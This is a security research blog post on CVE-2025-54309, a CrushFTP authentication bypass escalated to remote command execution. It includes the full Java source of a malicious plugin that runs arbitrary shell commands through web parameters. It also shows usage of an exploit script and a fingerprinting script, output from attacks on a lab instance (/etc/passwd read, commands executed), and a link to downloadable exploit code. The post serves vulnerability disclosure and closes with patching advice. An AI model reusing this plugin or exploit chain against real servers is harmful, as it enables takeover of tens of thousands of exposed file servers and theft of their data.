OrionX Blog

CVE-2025-54309: From Authentication Bypass to Remote Command Execution in CrushFTP

Written by Keith Lee | 9/12/25 11:16 AM

Introduction

Following the recent release of a proof-of-concept (PoC) by watchTowr Labs, derived from honeypot observations, we have elected to disclose our own independent research into this vulnerability. Our work was conducted earlier and kept private until now. By publishing these findings, our objective is to provide deeper technical insight into the vulnerability, highlight its potential security impact, and demonstrate practical methods of escalating it beyond the initial exploitation scenario.

 

Vulnerability Description

CrushFTP is a proprietary, multi-protocol, cross-platform file transfer server first introduced in 1999. It is distributed under a shareware model with tiered licensing, serving a wide range of deployments from individual users to large enterprise environments.

A critical flaw exists in CrushFTP versions 10 (prior to 10.8.5) and 11 (prior to 11.3.4_23), affecting the AS2 validation process when the DMZ proxy feature is disabled. Remote attackers can exploit this vulnerability over HTTPS to bypass authentication and gain administrative-level access. This issue was observed being actively exploited in the wild in July 2025.

 

Setting Up a CrushFTP Test Environment with Docker

To quickly set up a CrushFTP test environment, you can use Docker. The following command runs a CrushFTP 11 container with persistent data and exposed HTTP/HTTPS ports:

% docker run \
--platform linux/amd64 \
--name=crushftp11 \
-p 8080:8080 \
-p 443:443 \
-v /tmp/crushftp_data_11:/var/CrushFTP10 \
crushftp/crushftp11:11.3.3_15-dev
  • --platform linux/amd64: Ensures the container runs on the specified architecture.
  • --name crushftp11: Assigns a name to the container for easy management.
  • -p 8080:8080 and -p 443:443: Exposes the HTTP and HTTPS ports to the host.
  • -v /tmp/crushftp_data_11:/var/CrushFTP10: Mounts a host directory for persistent CrushFTP data.
  • crushftp/crushftp11:11.3.3_15-dev: Specifies the version of the CrushFTP 11 Docker image.

This setup provides an isolated environment suitable for safely testing CrushFTP and reproducing vulnerabilities.

 

Global Exposure of CrushFTP Instances

A search on FOFA and Shodan indicates that between 30,000 and 38,000 CrushFTP instances are publicly accessible.

 

Escalating Authentication Bypass to Remote Command Execution

The authentication bypass vulnerability allows an attacker to perform actions such as creating new accounts or modifying the Virtual File System (VFS) of an account to map directly to the root of the server. This configuration grants access to files outside the intended user directories and enables reading or downloading any file that the CrushFTP server process account has permission to access.

Our analysis sought to determine whether this level of access could be escalated further, with the ultimate goal of achieving remote command execution.

Through further investigation, we identified that the authentication bypass vulnerability can be exploited to deploy a malicious CrushFTP plugin. Once installed, this plugin enables execution of arbitrary code. However, the attack requires a server restart, as CrushFTP only recognizes and loads newly added plugins upon restart.

 

Developing and Building a CrushFTP Plugin

This section describes the process of developing a custom CrushFTP plugin and compiling it for deployment. It outlines the required environment, source structure, and compilation steps needed to produce a functional plugin that the server can recognize and load upon restart.

To begin, place the CrushFTP.jar file into the project’s lib folder. Next, create a directory named CrushCommandPlugin and add the source file Start.java inside it. The plugin can then be compiled using the following commands:

% javac -cp "lib/*" -d build CrushCommandPlugin/Start.java
% jar cf CrushCommandPlugin.jar -C build CrushCommandPlugin .

If compilation succeeds, a file named CrushCommandPlugin.jar will be generated in the current directory. This file represents the packaged plugin that can be deployed to CrushFTP.

Below is a sample implementation of Start.java, demonstrating the minimal structure of a CrushFTP plugin. In this proof-of-concept (PoC), the plugin enables remote command execution through the cmd and args parameters.

package CrushCommandPlugin;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Properties;
import java.util.List;
import java.util.ArrayList;

public class Start implements java.io.Serializable {
private static final long serialVersionUID = 1L;
private Properties settings = new Properties();
public Properties getDefaults() {
Properties p = new Properties();
p.put("enabled", "true");
p.put("webAccessible", "true");
return p;
}
public void setSettings(Properties p) {
this.settings = p;
}

public Properties getSettings() {
return this.settings;
}
// This method is required for web-accessible plugins
public Object run(Properties info) {
try {
if (!"true".equalsIgnoreCase(settings.getProperty("enabled", "false"))) {
return "Plugin is disabled.";
}

String cmd = info.getProperty("cmd", "").trim();
String args = info.getProperty("args", "").trim();

if ("syscmd".equalsIgnoreCase(cmd) && !args.isEmpty()) {
// Split args into command and arguments
List<String> commandList = new ArrayList<>();

String os = System.getProperty("os.name").toLowerCase();
if (os.contains("win")) {
// Windows: use cmd /c to run a full shell command string
commandList.add("cmd");
commandList.add("/c");
commandList.add(args);
} else {
// Unix-like: use /bin/sh -c to run a shell command string
commandList.add("/bin/sh");
commandList.add("-c");
commandList.add(args);
}

com.crushftp.client.Common.log("PLUGIN", 1, "Executing: " + String.join(" ", commandList));

ProcessBuilder pb = new ProcessBuilder(commandList);
pb.redirectErrorStream(true);
Process process = pb.start();

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;

while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

int exitCode = process.waitFor();
output.append("Exit code: ").append(exitCode);

reader.close();
String result = output.toString();
return result.isEmpty() ? "No output." : result; // <-- fix: never return null
} else {
return "Usage: cmd=syscmd&args=<your_command>";
}

} catch (Exception e) {
com.crushftp.client.Common.log("PLUGIN", 0, "Plugin error: " + e.toString());
return "Error: " + e.getMessage(); // <-- also ensures non-null
}
}
// Required method for plugin identification
public String toString() {
return "CrushCommandPlugin v1.0";
}
}

 

Demo

The following sequence outlines a methodical approach to exploiting the vulnerability, which we implemented in our proof-of-concept script to demonstrate its practical impact.

The exploitation process follows these steps:

  1. Authentication Bypass: Exploit the vulnerability to create a new user account.
  2. Privilege Escalation: Clone administrative permissions to the new account.
  3. VFS Modification: Configure the account’s Virtual File System (VFS) to map to the root of the server, granting access to all files and folders accessible to the CrushFTP process.
  4. Plugin Upload: Upload a malicious plugin implemented as a standard Java application.
  5. Server Restart: Restart the CrushFTP service so that the newly added plugin is recognized and loaded.
  6. Remote Command Execution (RCE): Execute arbitrary system commands on the server via the plugin.

The following command output demonstrates the use of fingerprint_crushftp11.py to determine the version of deployed CrushFTP 11 instances.

% python3 fingerprint_crushftp11.py -t 30 -n 15 -f /tmp/urls.txt
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.772-2025_07_30_10_31) (11.3.5_32)
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.571-2024_12_03_16_31) (11.2.3_6)
[+] https://x.x.x.x. -> CrushFTP 11 (11.W.630-2025_02_06_13_36) (11.2.3_20)

% python3 CVE-2025-54309.py -h
usage: CVE-2025-54309.py [-h] -u URL -U USER -P PASSWORD [--jar JAR] [-v] [--proxy PROXY] [-c COMMAND] --mode {insert,upload,command}

CVE-2025-54309
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Base URL (e.g. https://localhost)
-U USER, --user USER Username to create
-P PASSWORD, --password PASSWORD
Password for new user
--jar JAR Path to JAR file to upload (used in upload mode)
-v, --verbose Enable verbose output
--proxy PROXY Proxy server (e.g. http://127.0.0.1:8081)
-c COMMAND, --command COMMAND
Command to run on target server
--mode {insert,upload,command}
Mode of operation: insert = add user, upload = inherit permissions and upload JAR, command = run command

Command output demonstrating the exploitation of CVE-2025-54309 using the script to create a new user account and mount the Virtual File System (VFS) to the root directory.

% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode insert 
[+] Attack successful — account 'admin' created with password 'password'
[+] Login successful: admin:password
[*] Granting access to folder...
[+] Folder access granted successfully.
[+] Attempting to download /etc/passwd.
[+] File download attempt from path: /etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
java:x:65532:65532:Account created by apko:/home/java:/bin/sh

The following screenshot shows the CrushFTP web interface when logging in with the newly created account.

Command output demonstrating the exploitation of CVE-2025-54309 using the script to inherit the permissions of the crushadmin account and upload a specified CrushFTP plugin.

% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode upload --jar CrushCommandPlugin.jar 
[*] Attempting AS2 header bypass...
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 200
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
http://localhost:8080/?/WebInterface/function/ 404
http://localhost:8080/?/WebInterface/function/ 401
[+] Attack successful — account 'admin' inheritance from 'crushadmin'
[+] Uploading CrushCommandPlugin.jar to /app/plugins/CrushCommandPlugin.jar.
http://localhost:8080/?/WebInterface/function/ 404
[+] Upload succeeded: http://localhost:8080/app/plugins/CrushCommandPlugin.jar

In the CrushFTP web interface, it can be observed that the plugin has been successfully installed.

Command output demonstrating the exploitation of CVE-2025-54309 using the script to interact with a CrushFTP plugin for executing system commands, effective after the CrushFTP server is restarted.

% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode command      
[+] Login successful: admin:password
[+] Running command on CrushFTP server: uname -a
<commandResult><response>Linux c9fb6d607542 6.14.10-orbstack-00291-g1b252bd3edea #1 SMP Sat Jun 7 02:45:18 UTC 2025 x86_64 Linux
Exit code: 0</response></commandResult>
% python3 CVE-2025-54309.py -U admin -P password -u http://localhost:8080/ --mode command -v -c id
[+] Login successful: admin:password
[+] Running command on CrushFTP server: id
<commandResult><response>uid=65532(java) gid=65532(java) groups=65532(java)
Exit code: 0</response></commandResult>

 

Conclusion

CVE-2025-54309 demonstrates how an authentication bypass can escalate into remote command execution under the CrushFTP process, giving attackers control of the application environment. With active exploitation observed in the wild, timely patching to CrushFTP 10.8.5 or 11.3.4_23+ is critical. Organizations should review account and plugin activity, enforce network segmentation, and apply defense-in-depth strategies.

Ultimately, this vulnerability reinforces a long-standing principle in information security: vulnerabilities rarely exist in isolation. Even seemingly limited scope flaws, such as a single authentication bypass, can be chained with other weaknesses to gain complete control of the affected application and potentially escalate further depending on system privileges. By reducing attack surface and maintaining vigilant patching, organizations can defend not only against this threat, but also against the inevitable vulnerabilities that follow.

Resources

Head over to the Foregenix GitHub repository where you can download the python scripts highlighted in this post: https://github.com/foregenix/CVE-2025-54309